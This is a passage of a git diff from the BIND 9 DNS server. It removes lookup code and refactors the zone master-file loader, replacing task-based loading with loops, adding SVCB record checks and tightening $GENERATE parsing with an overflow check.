-			dns_rdataset_disassociate(&lookup->sigrdataset);
-		}
-
-	done:
-		if (event != NULL) {
-			if (event->node != NULL) {
-				dns_db_detachnode(event->db, &event->node);
-			}
-			if (event->db != NULL) {
-				dns_db_detach(&event->db);
-			}
-			isc_event_free(ISC_EVENT_PTR(&event));
-		}
-
-		/*
-		 * Limit the number of restarts.
-		 */
-		if (want_restart && lookup->restarts == MAX_RESTARTS) {
-			want_restart = false;
-			result = ISC_R_QUOTA;
-			send_event = true;
-		}
-	} while (want_restart);
-
-	if (send_event) {
-		lookup->event->result = result;
-		lookup->event->ev_sender = lookup;
-		isc_task_sendanddetach(&lookup->task,
-				       (isc_event_t **)&lookup->event);
-		dns_view_detach(&lookup->view);
-	}
-
-	UNLOCK(&lookup->lock);
-}
-
-static void
-levent_destroy(isc_event_t *event) {
-	dns_lookupevent_t *levent;
-	isc_mem_t *mctx;
-
-	REQUIRE(event->ev_type == DNS_EVENT_LOOKUPDONE);
-	mctx = event->ev_destroy_arg;
-	levent = (dns_lookupevent_t *)event;
-
-	if (levent->name != NULL) {
-		if (dns_name_dynamic(levent->name)) {
-			dns_name_free(levent->name, mctx);
-		}
-		isc_mem_put(mctx, levent->name, sizeof(dns_name_t));
-	}
-	if (levent->rdataset != NULL) {
-		dns_rdataset_disassociate(levent->rdataset);
-		isc_mem_put(mctx, levent->rdataset, sizeof(dns_rdataset_t));
-	}
-	if (levent->sigrdataset != NULL) {
-		dns_rdataset_disassociate(levent->sigrdataset);
-		isc_mem_put(mctx, levent->sigrdataset, sizeof(dns_rdataset_t));
-	}
-	if (levent->node != NULL) {
-		dns_db_detachnode(levent->db, &levent->node);
-	}
-	if (levent->db != NULL) {
-		dns_db_detach(&levent->db);
-	}
-	isc_mem_put(mctx, event, event->ev_size);
-}
-
-isc_result_t
-dns_lookup_create(isc_mem_t *mctx, const dns_name_t *name, dns_rdatatype_t type,
-		  dns_view_t *view, unsigned int options, isc_task_t *task,
-		  isc_taskaction_t action, void *arg, dns_lookup_t **lookupp) {
-	dns_lookup_t *lookup;
-	isc_event_t *ievent;
-
-	lookup = isc_mem_get(mctx, sizeof(*lookup));
-	lookup->mctx = NULL;
-	isc_mem_attach(mctx, &lookup->mctx);
-	lookup->options = options;
-
-	ievent = isc_event_allocate(mctx, lookup, DNS_EVENT_LOOKUPDONE, action,
-				    arg, sizeof(*lookup->event));
-	lookup->event = (dns_lookupevent_t *)ievent;
-	lookup->event->ev_destroy = levent_destroy;
-	lookup->event->ev_destroy_arg = mctx;
-	lookup->event->result = ISC_R_FAILURE;
-	lookup->event->name = NULL;
-	lookup->event->rdataset = NULL;
-	lookup->event->sigrdataset = NULL;
-	lookup->event->db = NULL;
-	lookup->event->node = NULL;
-
-	lookup->task = NULL;
-	isc_task_attach(task, &lookup->task);
-
-	isc_mutex_init(&lookup->lock);
-
-	dns_fixedname_init(&lookup->name);
-
-	dns_name_copy(name, dns_fixedname_name(&lookup->name));
-
-	lookup->type = type;
-	lookup->view = NULL;
-	dns_view_attach(view, &lookup->view);
-	lookup->fetch = NULL;
-	lookup->restarts = 0;
-	lookup->canceled = false;
-	dns_rdataset_init(&lookup->rdataset);
-	dns_rdataset_init(&lookup->sigrdataset);
-	lookup->magic = LOOKUP_MAGIC;
-
-	*lookupp = lookup;
-
-	lookup_find(lookup, NULL);
-
-	return (ISC_R_SUCCESS);
-}
-
-void
-dns_lookup_cancel(dns_lookup_t *lookup) {
-	REQUIRE(VALID_LOOKUP(lookup));
-
-	LOCK(&lookup->lock);
-
-	if (!lookup->canceled) {
-		lookup->canceled = true;
-		if (lookup->fetch != NULL) {
-			INSIST(lookup->view != NULL);
-			dns_resolver_cancelfetch(lookup->fetch);
-		}
-	}
-
-	UNLOCK(&lookup->lock);
-}
-
-void
-dns_lookup_destroy(dns_lookup_t **lookupp) {
-	dns_lookup_t *lookup;
-
-	REQUIRE(lookupp != NULL);
-	lookup = *lookupp;
-	*lookupp = NULL;
-	REQUIRE(VALID_LOOKUP(lookup));
-	REQUIRE(lookup->event == NULL);
-	REQUIRE(lookup->task == NULL);
-	REQUIRE(lookup->view == NULL);
-	if (dns_rdataset_isassociated(&lookup->rdataset)) {
-		dns_rdataset_disassociate(&lookup->rdataset);
-	}
-	if (dns_rdataset_isassociated(&lookup->sigrdataset)) {
-		dns_rdataset_disassociate(&lookup->sigrdataset);
-	}
-
-	isc_mutex_destroy(&lookup->lock);
-	lookup->magic = 0;
-	isc_mem_putanddetach(&lookup->mctx, lookup, sizeof(*lookup));
-}
diff --git a/lib/dns/master.c b/lib/dns/master.c
index ef555818d8..b8f1bfaff6 100644
--- a/lib/dns/master.c
+++ b/lib/dns/master.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -14,22 +16,22 @@
 #include <inttypes.h>
 #include <stdbool.h>
 
+#include <isc/async.h>
 #include <isc/atomic.h>
-#include <isc/event.h>
 #include <isc/lex.h>
+#include <isc/loop.h>
 #include <isc/magic.h>
 #include <isc/mem.h>
-#include <isc/print.h>
 #include <isc/refcount.h>
+#include <isc/result.h>
 #include <isc/serial.h>
 #include <isc/stdio.h>
 #include <isc/stdtime.h>
 #include <isc/string.h>
-#include <isc/task.h>
 #include <isc/util.h>
+#include <isc/work.h>
 
 #include <dns/callbacks.h>
-#include <dns/events.h>
 #include <dns/fixedname.h>
 #include <dns/master.h>
 #include <dns/name.h>
@@ -39,7 +41,6 @@
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
 #include <dns/rdatatype.h>
-#include <dns/result.h>
 #include <dns/soa.h>
 #include <dns/time.h>
 #include <dns/ttl.h>
@@ -102,7 +103,6 @@ struct dns_loadctx {
 	dns_masterformat_t format;
 
 	dns_rdatacallbacks_t *callbacks;
-	isc_task_t *task;
 	dns_loaddonefunc_t done;
 	void *done_arg;
 
@@ -135,8 +135,6 @@ struct dns_loadctx {
 	dns_masterrawheader_t header;
 
 	/* Which fixed buffers we are using? */
-	unsigned int loop_cnt; /*% records per quantum,
-				* 0 => all. */
 	isc_result_t result;
 
 	/* Atomic */
@@ -185,12 +183,6 @@ openfile_raw(dns_loadctx_t *lctx, const char *master_file);
 static isc_result_t
 load_raw(dns_loadctx_t *lctx);
 
-static isc_result_t
-openfile_map(dns_loadctx_t *lctx, const char *master_file);
-
-static isc_result_t
-load_map(dns_loadctx_t *lctx);
-
 static isc_result_t
 pushfile(const char *master_file, dns_name_t *origin, dns_loadctx_t *lctx);
 
@@ -209,12 +201,6 @@ static dns_rdata_t *
 grow_rdata(int, dns_rdata_t *, int, rdatalist_head_t *, rdatalist_head_t *,
 	   isc_mem_t *);
 
-static void
-load_quantum(isc_task_t *task, isc_event_t *event);
-
-static isc_result_t
-task_send(dns_loadctx_t *lctx);
-
 static void
 loadctx_destroy(dns_loadctx_t *lctx);
 
@@ -299,11 +285,10 @@ loadctx_destroy(dns_loadctx_t *lctx);
 	((result != ISC_R_SUCCESS) && (result != ISC_R_IOERROR) && \
 	 ((lctx)->options & DNS_MASTER_MANYERRORS) != 0)
 
-#define SETRESULT(lctx, r)                           \
-	do {                                         \
-		if ((lctx)->result == ISC_R_SUCCESS) \
-			(lctx)->result = r;          \
-	} while (0)
+#define SETRESULT(lctx, r)                     \
+	if ((lctx)->result == ISC_R_SUCCESS) { \
+		(lctx)->result = r;            \
+	}
 
 #define LOGITFILE(result, filename)                                            \
 	if (result == ISC_R_INVALIDFILE || result == ISC_R_FILENOTFOUND ||     \
@@ -311,18 +296,18 @@ loadctx_destroy(dns_loadctx_t *lctx);
 	    result == ISC_R_NOPERM)                                            \
 		(*callbacks->error)(callbacks, "%s: %s:%lu: %s: %s",           \
 				    "dns_master_load", source, line, filename, \
-				    dns_result_totext(result));                \
+				    isc_result_totext(result));                \
 	else                                                                   \
 		LOGIT(result)
 
 #define LOGIT(result)                                                 \
 	if (result == ISC_R_NOMEMORY)                                 \
 		(*callbacks->error)(callbacks, "dns_master_load: %s", \
-				    dns_result_totext(result));       \
+				    isc_result_totext(result));       \
 	else                                                          \
 		(*callbacks->error)(callbacks, "%s: %s:%lu: %s",      \
 				    "dns_master_load", source, line,  \
-				    dns_result_totext(result))
+				    isc_result_totext(result))
 
 static unsigned char in_addr_arpa_data[] = "\007IN-ADDR\004ARPA";
 static unsigned char in_addr_arpa_offsets[] = { 0, 8, 13 };
@@ -339,14 +324,14 @@ static unsigned char ip6_arpa_offsets[] = { 0, 4, 9 };
 static dns_name_t const ip6_arpa = DNS_NAME_INITABSOLUTE(ip6_arpa_data,
 							 ip6_arpa_offsets);
 
-static inline bool
+static bool
 dns_master_isprimary(dns_loadctx_t *lctx) {
 	return ((lctx->options & DNS_MASTER_ZONE) != 0 &&
-		(lctx->options & DNS_MASTER_SLAVE) == 0 &&
+		(lctx->options & DNS_MASTER_SECONDARY) == 0 &&
 		(lctx->options & DNS_MASTER_KEY) == 0);
 }
 
-static inline isc_result_t
+static isc_result_t
 gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *token, bool eol,
 	 dns_rdatacallbacks_t *callbacks) {
 	isc_result_t result;
@@ -371,7 +356,8 @@ gettoken(isc_lex_t *lex, unsigned int options, isc_token_t *token, bool eol,
 	}
 	if (eol != true) {
 		if (token->type == isc_tokentype_eol ||
-		    token->type == isc_tokentype_eof) {
+		    token->type == isc_tokentype_eof)
+		{
 			{
 				unsigned long int line;
 				const char *what;
@@ -449,8 +435,7 @@ loadctx_destroy(dns_loadctx_t *lctx) {
 	if (lctx->f != NULL) {
 		isc_result_t result = isc_stdio_close(lctx->f);
 		if (result != ISC_R_SUCCESS) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_stdio_close() failed: %s",
+			UNEXPECTED_ERROR("isc_stdio_close() failed: %s",
 					 isc_result_totext(result));
 		}
 	}
@@ -460,14 +445,10 @@ loadctx_destroy(dns_loadctx_t *lctx) {
 		isc_lex_destroy(&lctx->lex);
 	}
 
-	if (lctx->task != NULL) {
-		isc_task_detach(&lctx->task);
-	}
-
 	isc_mem_putanddetach(&lctx->mctx, lctx, sizeof(*lctx));
 }
 
-static isc_result_t
+static void
 incctx_create(isc_mem_t *mctx, dns_name_t *origin, dns_incctx_t **ictxp) {
 	dns_incctx_t *ictx;
 	isc_region_t r;
@@ -497,20 +478,17 @@ incctx_create(isc_mem_t *mctx, dns_name_t *origin, dns_incctx_t **ictxp) {
 	ictx->origin_changed = true;
 
 	*ictxp = ictx;
-	return (ISC_R_SUCCESS);
 }
 
-static isc_result_t
+static void
 loadctx_create(dns_masterformat_t format, isc_mem_t *mctx, unsigned int options,
 	       uint32_t resign, dns_name_t *top, dns_rdataclass_t zclass,
 	       dns_name_t *origin, dns_rdatacallbacks_t *callbacks,
-	       isc_task_t *task, dns_loaddonefunc_t done, void *done_arg,
+	       dns_loaddonefunc_t done, void *done_arg,
 	       dns_masterincludecb_t include_cb, void *include_arg,
 	       isc_lex_t *lex, dns_loadctx_t **lctxp) {
-	dns_loadctx_t *lctx;
-	isc_result_t result;
+	dns_loadctx_t *lctx = NULL;
 	isc_region_t r;
-	isc_lexspecials_t specials;
 
 	REQUIRE(lctxp != NULL && *lctxp == NULL);
 	REQUIRE(callbacks != NULL);
@@ -520,20 +498,28 @@ loadctx_create(dns_masterformat_t format, isc_mem_t *mctx, unsigned int options,
 	REQUIRE(mctx != NULL);
 	REQUIRE(dns_name_isabsolute(top));
 	REQUIRE(dns_name_isabsolute(origin));
-	REQUIRE((task == NULL && done == NULL) ||
-		(task != NULL && done != NULL));
 
 	lctx = isc_mem_get(mctx, sizeof(*lctx));
+	*lctx = (dns_loadctx_t){
+		.format = format,
+		.ttl_known = ((options & DNS_MASTER_NOTTL) != 0),
+		.default_ttl_known = ((options & DNS_MASTER_NOTTL) != 0),
+		.warn_1035 = true,
+		.warn_tcr = true,
+		.warn_sigexpired = true,
+		.options = options,
+		.zclass = zclass,
+		.resign = resign,
+		.include_cb = include_cb,
+		.include_arg = include_arg,
+		.first = true,
+		.done = done,
+		.callbacks = callbacks,
+		.done_arg = done_arg,
+	};
+
+	incctx_create(mctx, origin, &lctx->inc);
 
-	lctx->inc = NULL;
-	result = incctx_create(mctx, origin, &lctx->inc);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_ctx;
-	}
-
-	lctx->maxttl = 0;
-
-	lctx->format = format;
 	switch (format) {
 	case dns_masterformat_text:
 		lctx->openfile = openfile_text;
@@ -543,24 +529,17 @@ loadctx_create(dns_masterformat_t format, isc_mem_t *mctx, unsigned int options,
 		lctx->openfile = openfile_raw;
 		lctx->load = load_raw;
 		break;
-	case dns_masterformat_map:
-		lctx->openfile = openfile_map;
-		lctx->load = load_map;
-		break;
 	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
+		UNREACHABLE();
 	}
 
 	if (lex != NULL) {
 		lctx->lex = lex;
 		lctx->keep_lex = true;
 	} else {
+		isc_lexspecials_t specials;
 		lctx->lex = NULL;
-		result = isc_lex_create(mctx, TOKENSIZ, &lctx->lex);
-		if (result != ISC_R_SUCCESS) {
-			goto cleanup_inc;
-		}
+		isc_lex_create(mctx, TOKENSIZ, &lctx->lex);
 		lctx->keep_lex = false;
 		/*
 		 * If specials change update dns_test_rdatafromstring()
@@ -575,53 +554,20 @@ loadctx_create(dns_masterformat_t format, isc_mem_t *mctx, unsigned int options,
 		isc_lex_setcomments(lctx->lex, ISC_LEXCOMMENT_DNSMASTERFILE);
 	}
 
-	lctx->ttl_known = ((options & DNS_MASTER_NOTTL) != 0);
-	lctx->ttl = 0;
-	lctx->default_ttl_known = lctx->ttl_known;
-	lctx->default_ttl = 0;
-	lctx->warn_1035 = true;	      /* XXX Argument? */
-	lctx->warn_tcr = true;	      /* XXX Argument? */
-	lctx->warn_sigexpired = true; /* XXX Argument? */
-	lctx->options = options;
-	lctx->seen_include = false;
-	lctx->zclass = zclass;
-	lctx->resign = resign;
-	lctx->result = ISC_R_SUCCESS;
-	lctx->include_cb = include_cb;
-	lctx->include_arg = include_arg;
-	isc_stdtime_get(&lctx->now);
+	lctx->now = isc_stdtime_now();
 
 	lctx->top = dns_fixedname_initname(&lctx->fixed_top);
 	dns_name_toregion(top, &r);
 	dns_name_fromregion(lctx->top, &r);
 
-	lctx->f = NULL;
-	lctx->first = true;
 	dns_master_initrawheader(&lctx->header);
 
-	lctx->loop_cnt = (done != NULL) ? 100 : 0;
-	lctx->callbacks = callbacks;
-	lctx->task = NULL;
-	if (task != NULL) {
-		isc_task_attach(task, &lctx->task);
-	}
-	lctx->done = done;
-	lctx->done_arg = done_arg;
-	atomic_init(&lctx->canceled, false);
-	lctx->mctx = NULL;
-	isc_mem_attach(mctx, &lctx->mctx);
-
 	isc_refcount_init(&lctx->references, 1); /* Implicit attach. */
+	isc_mem_attach(mctx, &lctx->mctx);
 
 	lctx->magic = DNS_LCTX_MAGIC;
 	*lctxp = lctx;
-	return (ISC_R_SUCCESS);
-
-cleanup_inc:
-	incctx_destroy(mctx, lctx->inc);
-cleanup_ctx:
-	isc_mem_put(mctx, lctx, sizeof(*lctx));
-	return (result);
+	return;
 }
 
 static const char *hex = "0123456789abcdef0123456789ABCDEF";
@@ -682,7 +628,10 @@ genname(char *name, int it, char *buffer, size_t length) {
 	char fmt[sizeof("%04000000000d")];
 	char numbuf[128];
 	char *cp;
-	char mode[2];
+	char mode[2] = { 0 };
+	char brace[2] = { 0 };
+	char comma1[2] = { 0 };
+	char comma2[2] = { 0 };
 	int delta = 0;
 	isc_textregion_t r;
 	unsigned int n;
@@ -707,23 +656,31 @@ genname(char *name, int it, char *buffer, size_t length) {
 			strlcpy(fmt, "%d", sizeof(fmt));
 			/* Get format specifier. */
 			if (*name == '{') {
-				n = sscanf(name, "{%d,%u,%1[doxXnN]}", &delta,
-					   &width, mode);
-				switch (n) {
-				case 1:
-					break;
-				case 2:
+				n = sscanf(name,
+					   "{%d%1[,}]%u%1[,}]%1[doxXnN]%1[}]",
+					   &delta, comma1, &width, comma2, mode,
+					   brace);
+				if (n < 2 || n > 6) {
+					return (DNS_R_SYNTAX);
+				}
+				if (comma1[0] == '}') {
+					/* %{delta} */
+				} else if (comma1[0] == ',' && comma2[0] == '}')
+				{
+					/* %{delta,width} */
 					n = snprintf(fmt, sizeof(fmt), "%%0%ud",
 						     width);
-					break;
-				case 3:
+				} else if (comma1[0] == ',' &&
+					   comma2[0] == ',' && mode[0] != 0 &&
+					   brace[0] == '}')
+				{
+					/* %{delta,width,format} */
 					if (mode[0] == 'n' || mode[0] == 'N') {
 						nibblemode = true;
 					}
 					n = snprintf(fmt, sizeof(fmt),
 						     "%%0%u%c", width, mode[0]);
-					break;
-				default:
+				} else {
 					return (DNS_R_SYNTAX);
 				}
 				if (n >= sizeof(fmt)) {
@@ -734,6 +691,13 @@ genname(char *name, int it, char *buffer, size_t length) {
 					continue;
 				}
 			}
+			/*
+			 * 'it' is >= 0 so we don't need to check for
+			 * underflow.
+			 */
+			if ((it > 0 && delta > INT_MAX - it)) {
+				return (ISC_R_RANGE);
+			}
 			if (nibblemode) {
 				n = nibbles(numbuf, sizeof(numbuf), width,
 					    mode[0], it + delta);
@@ -799,7 +763,8 @@ generate(dns_loadctx_t *lctx, char *range, char *lhs, char *gtype, char *rhs,
 	isc_buffer_t target;
 	isc_result_t result;
 	isc_textregion_t r;
-	int i, n, start, stop, step = 0;
+	int n, start, stop, step = 0;
+	unsigned int i;
 	dns_incctx_t *ictx;
 	char dummy[2];
 
@@ -854,7 +819,7 @@ generate(dns_loadctx_t *lctx, char *range, char *lhs, char *gtype, char *rhs,
 		goto insist_cleanup;
 	}
 
-	for (i = start; i <= stop; i += step) {
+	for (i = start; i <= (unsigned int)stop; i += step) {
 		result = genname(lhs, i, lhsbuf, DNS_MASTER_LHS);
 		if (result != ISC_R_SUCCESS) {
 			goto error_cleanup;
@@ -874,7 +839,8 @@ generate(dns_loadctx_t *lctx, char *range, char *lhs, char *gtype, char *rhs,
 		}
 
 		if (dns_master_isprimary(lctx) &&
-		    !dns_name_issubdomain(owner, lctx->top)) {
+		    !dns_name_issubdomain(owner, lctx->top))
+		{
 			char namebuf[DNS_NAME_FORMATSIZE];
 			dns_name_format(owner, namebuf, sizeof(namebuf));
 			/*
@@ -924,10 +890,10 @@ generate(dns_loadctx_t *lctx, char *range, char *lhs, char *gtype, char *rhs,
 error_cleanup:
 	if (result == ISC_R_NOMEMORY) {
 		(*callbacks->error)(callbacks, "$GENERATE: %s",
-				    dns_result_totext(result));
+				    isc_result_totext(result));
 	} else {
 		(*callbacks->error)(callbacks, "$GENERATE: %s:%lu: %s", source,
-				    line, dns_result_totext(result));
+				    line, isc_result_totext(result));
 	}
 
 insist_cleanup:
@@ -1043,7 +1009,6 @@ load_text(dns_loadctx_t *lctx) {
 	uint32_t ttl_offset = 0;
 	dns_name_t *new_name;
 	bool current_has_delegation = false;
-	bool done = false;
 	bool finish_origin = false;
 	bool finish_include = false;
 	bool read_till_eol = false;
@@ -1071,7 +1036,6 @@ load_text(dns_loadctx_t *lctx) {
 	unsigned char *target_mem = NULL;
 	int target_size = TSIZ;
 	int new_in_use;
-	unsigned int loop_cnt = 0;
 	isc_mem_t *mctx;
 	dns_rdatacallbacks_t *callbacks;
 	dns_incctx_t *ictx;
@@ -1079,7 +1043,7 @@ load_text(dns_loadctx_t *lctx) {
 	char *lhs = NULL;
 	char *gtype = NULL;
 	char *rhs = NULL;
-	const char *source = "";
+	const char *source;
 	unsigned long line = 0;
 	bool explicit_ttl;
 	char classname1[DNS_RDATACLASS_FORMATSIZE];
@@ -1115,7 +1079,12 @@ load_text(dns_loadctx_t *lctx) {
 		options |= DNS_RDATA_CHECKMXFAIL;
 	}
 	source = isc_lex_getsourcename(lctx->lex);
-	do {
+	while (true) {
+		if (atomic_load_acquire(&lctx->canceled)) {
+			result = ISC_R_CANCELED;
+			goto log_and_cleanup;
+		}
+
 		initialws = false;
 		line = isc_lex_getsourceline(lctx->lex);
 		GETTOKEN(lctx->lex, ISC_LEXOPT_INITIALWS | ISC_LEXOPT_QSTRING,
@@ -1140,8 +1109,7 @@ load_text(dns_loadctx_t *lctx) {
 				ictx = lctx->inc;
 				continue;
 			}
-			done = true;
-			continue;
+			break;
 		}
 
 		if (token.type == isc_tokentype_eol) {
@@ -1190,7 +1158,8 @@ load_text(dns_loadctx_t *lctx) {
 				EXPECTEOL;
 				continue;
 			} else if (strcasecmp(DNS_AS_STR(token), "$INCLUDE") ==
-				   0) {
+				   0)
+			{
 				COMMITALL;
 				if ((lctx->options & DNS_MASTER_NOINCLUDE) != 0)
 				{
@@ -1224,7 +1193,8 @@ load_text(dns_loadctx_t *lctx) {
 				GETTOKEN(lctx->lex, 0, &token, true);
 
 				if (token.type == isc_tokentype_eol ||
-				    token.type == isc_tokentype_eof) {
+				    token.type == isc_tokentype_eof)
+				{
 					if (token.type == isc_tokentype_eof) {
 						WARNUNEXPECTEDEOF(lctx->lex);
 					}
@@ -1257,9 +1227,9 @@ load_text(dns_loadctx_t *lctx) {
 			} else if (strcasecmp(DNS_AS_STR(token), "$DATE") == 0)
 			{
 				int64_t dump_time64;
-				isc_stdtime_t dump_time, current_time;
+				isc_stdtime_t dump_time;
+				isc_stdtime_t current_time = isc_stdtime_now();
 				GETTOKEN(lctx->lex, 0, &token, false);
-				isc_stdtime_get(&current_time);
 				result = dns_time64_fromtext(DNS_AS_STR(token),
 							     &dump_time64);
 				if (MANYERRS(lctx, result)) {
@@ -1271,8 +1241,7 @@ load_text(dns_loadctx_t *lctx) {
 				}
 				dump_time = (isc_stdtime_t)dump_time64;
 				if (dump_time != dump_time64) {
-					UNEXPECTED_ERROR(__FILE__, __LINE__,
-							 "%s: %s:%lu: $DATE "
+					UNEXPECTED_ERROR("%s: %s:%lu: $DATE "
 							 "outside epoch",
 							 "dns_master_load",
 							 source, line);
@@ -1280,8 +1249,7 @@ load_text(dns_loadctx_t *lctx) {
 					goto insist_and_cleanup;
 				}
 				if (dump_time > current_time) {
-					UNEXPECTED_ERROR(__FILE__, __LINE__,
-							 "%s: %s:%lu: "
+					UNEXPECTED_ERROR("%s: %s:%lu: "
 							 "$DATE in future, "
 							 "using current date",
 							 "dns_master_load",
@@ -1292,7 +1260,8 @@ load_text(dns_loadctx_t *lctx) {
 				EXPECTEOL;
 				continue;
 			} else if (strcasecmp(DNS_AS_STR(token), "$GENERATE") ==
-				   0) {
+				   0)
+			{
 				/*
 				 * Lazy cleanup.
 				 */
@@ -1329,7 +1298,8 @@ load_text(dns_loadctx_t *lctx) {
 				/* TTL? */
 				if (dns_ttl_fromtext(&token.value.as_textregion,
 						     &lctx->ttl) ==
-				    ISC_R_SUCCESS) {
+				    ISC_R_SUCCESS)
+				{
 					limit_ttl(callbacks, source, line,
 						  &lctx->ttl);
 					lctx->ttl_known = true;
@@ -1352,7 +1322,8 @@ load_text(dns_loadctx_t *lctx) {
 					 false);
 				rhs = isc_mem_strdup(mctx, DNS_AS_STR(token));
 				if (!lctx->ttl_known &&
-				    !lctx->default_ttl_known) {
+				    !lctx->default_ttl_known)
+				{
 					(*callbacks->error)(callbacks,
 							    "%s: %s:%lu: no "
 							    "TTL specified",
@@ -1366,7 +1337,8 @@ load_text(dns_loadctx_t *lctx) {
 						goto insist_and_cleanup;
 					}
 				} else if (!explicit_ttl &&
-					   lctx->default_ttl_known) {
+					   lctx->default_ttl_known)
+				{
 					lctx->ttl = lctx->default_ttl;
 				}
 				/*
@@ -1470,7 +1442,8 @@ load_text(dns_loadctx_t *lctx) {
 			 * state.  Linked lists are undone by commit().
 			 */
 			if (ictx->glue != NULL &&
-			    !dns_name_caseequal(ictx->glue, new_name)) {
+			    !dns_name_caseequal(ictx->glue, new_name))
+			{
 				result = commit(callbacks, lctx, &glue_list,
 						ictx->glue, source,
 						ictx->glue_line);
@@ -1501,7 +1474,8 @@ load_text(dns_loadctx_t *lctx) {
 			     !dns_name_caseequal(ictx->current, new_name)))
 			{
 				if (current_has_delegation &&
-				    is_glue(&current_list, new_name)) {
+				    is_glue(&current_list, new_name))
+				{
 					rdcount_save = rdcount;
 					rdlcount_save = rdlcount;
 					target_save = target;
@@ -1537,13 +1511,15 @@ load_text(dns_loadctx_t *lctx) {
 				 * Check for internal wildcards.
 				 */
 				if ((lctx->options &
-				     DNS_MASTER_CHECKWILDCARD) != 0) {
+				     DNS_MASTER_CHECKWILDCARD) != 0)
+				{
 					check_wildcard(ictx, source, line,
 						       callbacks);
 				}
 			}
 			if (dns_master_isprimary(lctx) &&
-			    !dns_name_issubdomain(new_name, lctx->top)) {
+			    !dns_name_issubdomain(new_name, lctx->top))
+			{
 				char namebuf[DNS_NAME_FORMATSIZE];
 				dns_name_format(new_name, namebuf,
 						sizeof(namebuf));
@@ -1560,8 +1536,7 @@ load_text(dns_loadctx_t *lctx) {
 				ictx->drop = false;
 			}
 		} else {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "%s:%lu: isc_lex_gettoken() returned "
+			UNEXPECTED_ERROR("%s:%lu: isc_lex_gettoken() returned "
 					 "unexpected token type (%d)",
 					 source, line, token.type);
 			result = ISC_R_UNEXPECTED;
@@ -1653,8 +1628,7 @@ load_text(dns_loadctx_t *lctx) {
 		}
 
 		if (token.type != isc_tokentype_string) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_lex_gettoken() returned "
+			UNEXPECTED_ERROR("isc_lex_gettoken() returned "
 					 "unexpected token type");
 			result = ISC_R_UNEXPECTED;
 			if (MANYERRS(lctx, result)) {
@@ -1675,8 +1649,7 @@ load_text(dns_loadctx_t *lctx) {
 		}
 
 		if (token.type != isc_tokentype_string) {
-			UNEXPECTED_ERROR(__FILE__, __LINE__,
-					 "isc_lex_gettoken() returned "
+			UNEXPECTED_ERROR("isc_lex_gettoken() returned "
 					 "unexpected token type");
 			result = ISC_R_UNEXPECTED;
 			if (MANYERRS(lctx, result)) {
@@ -1699,7 +1672,7 @@ load_text(dns_loadctx_t *lctx) {
 				SETRESULT(lctx, result);
 				read_till_eol = true;
 				continue;
-			} else if (result != ISC_R_SUCCESS) {
+			} else {
 				goto insist_and_cleanup;
 			}
 		}
@@ -1748,7 +1721,7 @@ load_text(dns_loadctx_t *lctx) {
 			dns_rdatatype_format(type, typebuf, sizeof(typebuf));
 			(*callbacks->error)(callbacks, "%s:%lu: %s '%s': %s",
 					    source, line, "type", typebuf,
-					    dns_result_totext(result));
+					    isc_result_totext(result));
 			if (MANYERRS(lctx, result)) {
 				SETRESULT(lctx, result);
 			} else {
@@ -1768,7 +1741,7 @@ load_text(dns_loadctx_t *lctx) {
 			dns_rdatatype_format(type, typebuf, sizeof(typebuf));
 			(*callbacks->error)(callbacks, "%s:%lu: %s '%s': %s",
 					    source, line, "type", typebuf,
-					    dns_result_totext(result));
+					    isc_result_totext(result));
 			if (MANYERRS(lctx, result)) {
 				SETRESULT(lctx, result);
 			} else {
@@ -1827,9 +1800,10 @@ load_text(dns_loadctx_t *lctx) {
 				const char *desc;
 				dns_name_format(name, namebuf, sizeof(namebuf));
 				result = DNS_R_BADOWNERNAME;
-				desc = dns_result_totext(result);
+				desc = isc_result_totext(result);
 				if (CHECKNAMESFAIL(lctx->options) ||
-				    type == dns_rdatatype_nsec3) {
+				    type == dns_rdatatype_nsec3)
+				{
 					(*callbacks->error)(
 						callbacks, "%s:%lu: %s: %s",
 						source, line, namebuf, desc);
@@ -1896,6 +1870,28 @@ load_text(dns_loadctx_t *lctx) {
 			}
 		}
 
+		if (type == dns_rdatatype_svcb &&
+		    (lctx->options & DNS_MASTER_ZONE) != 0 &&
+		    (lctx->options & DNS_MASTER_CHECKSVCB) != 0)
+		{
+			result = dns_rdata_checksvcb(ictx->current,
+						     &rdata[rdcount]);
+			if (result != ISC_R_SUCCESS) {
+				(*callbacks->error)(callbacks,
+						    "%s:%lu: SVCB "
+						    "record not valid: %s",
+						    source, line,
+						    isc_result_totext(result));
+				if (MANYERRS(lctx, result)) {
+					SETRESULT(lctx, result);
+					target = target_ft;
+					continue;
+				} else if (result != ISC_R_SUCCESS) {
+					goto insist_and_cleanup;
+				}
+			}
+		}
+
 		if (dns_rdatatype_atparent(type) &&
 		    dns_master_isprimary(lctx) &&
 		    dns_name_equal(ictx->current, lctx->top))
@@ -2059,7 +2055,8 @@ load_text(dns_loadctx_t *lctx) {
 		}
 
 		if ((lctx->options & DNS_MASTER_CHECKTTL) != 0 &&
-		    lctx->ttl > lctx->maxttl) {
+		    lctx->ttl > lctx->maxttl)
+		{
 			(callbacks->error)(callbacks,
 					   "dns_master_load: %s:%lu: "
 					   "TTL %d exceeds configured "
@@ -2086,7 +2083,7 @@ load_text(dns_loadctx_t *lctx) {
 			COMMITALL;
 		}
 	next_line:;
-	} while (!done && (lctx->loop_cnt == 0 || loop_cnt++ < lctx->loop_cnt));
+	}
 
 	/*
 	 * Commit what has not yet been committed.
@@ -2104,16 +2101,12 @@ load_text(dns_loadctx_t *lctx) {
 		SETRESULT(lctx, result);
 	} else if (result != ISC_R_SUCCESS) {
 		goto insist_and_cleanup;
-	}
-
-	if (!done) {
-		INSIST(lctx->done != NULL && lctx->task != NULL);
-		result = DNS_R_CONTINUE;
-	} else if (result == ISC_R_SUCCESS && lctx->result != ISC_R_SUCCESS) {
+	} else if (lctx->result != ISC_R_SUCCESS) {
 		result = lctx->result;
-	} else if (result == ISC_R_SUCCESS && lctx->seen_include) {
+	} else if (lctx->seen_include) {
